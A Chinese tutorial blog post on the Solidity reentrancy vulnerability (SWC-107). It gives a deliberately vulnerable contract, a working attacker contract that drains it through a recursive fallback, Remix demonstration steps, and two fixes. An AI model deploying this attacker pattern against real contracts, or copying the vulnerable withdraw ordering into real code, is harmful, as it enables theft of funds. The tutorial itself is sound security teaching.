当前位置:网站首页>智能合约安全-可重入攻击(SW107-Reentrancy)
智能合约安全-可重入攻击(SW107-Reentrancy)
2022-08-02 23:33:00 【Johnathan】
攻击名称
可重入攻击(Reentrancy)
攻击分类CWE-841
代码实现与预期行为不一致
攻击描述
主要的风险就是调用外部合约会接管合约的控制流。在可重入攻击中,恶意合约在被攻击合约的第一个函数执行完成前在再次调用合约,这可能导致函数调用与预期行为不一致。核心流程与原理如下:
合约案例
被攻击合约
// SPDX-License-Identifier: GPL-3.0pragma solidity ^0.6.10;contract Victim { mapping(address=> uint256) public balances; function deposit() public payable{ balances[msg.sender] += msg.value; } function withdraw(uint256 amount) public { require(balances[msg.sender] >= amount); (bool success,) = msg.sender.call{value:amount}(""); require(success, "Fail to send ether!"); balances[msg.sender] -= amount; } function getBalance() public view returns(uint){ return address(this).balance; }}攻击合约
contract Attacker{ Victim public victim; constructor(address _victimAddr) public { victim = Victim(_victimAddr); } function beginAttack() external payable{ require(msg.value >= 1 ether); victim.deposit{value: 1 ether}(); victim.withdraw(1 ether); } fallback() external payable{ //死循环的话一毛也取不到 if (address(victim).balance >= 1 ether) { victim.withdraw(1 ether); } } function getBalance() public view returns(uint){ return address(this).balance; }}操作示例
- 采用Remix账户1部署Victim合约,然后调用deposit存入4个ETH
- 采用Remix账户1部署Attacker合约,然后调用beginAttack并传入1个ETH
- Victim合约GetBalance: 0, Attacker合约GetBalance 5
防止策略
- 切换存储更新和外部调用的顺序,防止启用攻击的重新进入条件。遵循“检查-效果-相互作用”设计模式。
contract Victim{ ... function withdraw(uint256 amount) public { require(balances[msg.sender] >= amount); balances[msg.sender] -= amount; (bool success,) = msg.sender.call{value:amount}(""); require(success, "Fail to send ether!"); }2.加锁。
bool internal locked; modifier noReentrant(){ require(!locked, "No re-entrancy!"); locked = true; _; locked = false; } function withdraw(uint256 amount) public noReentrant{ require(balances[msg.sender] >= amount); (bool success,) = msg.sender.call{value:amount}(""); require(success, "Fail to send ether!"); balances[msg.sender] -= amount; }边栏推荐
猜你喜欢

HVV红队 | 渗透测试思路整理

js基础知识整理之 —— Math

Mock工具之Moco使用教程

1 - vector R language self-study

服务间歇性停顿问题优化|得物技术

记一次mysql查询慢的优化历程

The latest real software test interview questions are shared. Are you afraid that you will not be able to enter the big factory after collecting them?
思源笔记 本地存储无使用第三方同步盘,突然打不开文件。

js基础知识整理之 —— Date和定时器

Cholesterol-PEG-Acid,胆固醇-聚乙二醇-羧基保持在干燥、低温环境下
随机推荐
js基础知识整理之 —— Date和定时器
程序员的七夕浪漫时刻
精心整理16条MySQL使用规范,减少80%问题,推荐分享给团队
Swift中的类型相关内容
数据库主键一定要自增吗?有哪些场景不建议自增?
【QT】自定义工程封装成DLL并如何调用(带ui界面的)
d实验新异常
CIO修炼手册:成功晋升CIO的七个秘诀
Find My技术|智能防丢还得看苹果Find My技术
同一份数据,Redis为什么要存两次?
停止使用 Storyboards 和 Interface Builder
基于飞腾平台的嵌入式解决方案案例集 1.0 正式发布!
HCIP(16)
年近30 ,4月无情被辞,想给划水的兄弟提个醒...
淘宝商品销量接口/淘宝商品销量监控接口/商品累计销量接口代码对接分享
一文读懂 Web 3.0 应用架构
UE5 官方案例Lyra 全特性详解 8.如何用配置表初始化角色数据
有奖提问|《新程序员》专访“Apache之父”Brian Behlendorf
d合并json
剑指 Offer 21. 调整数组顺序使奇数位于偶数前面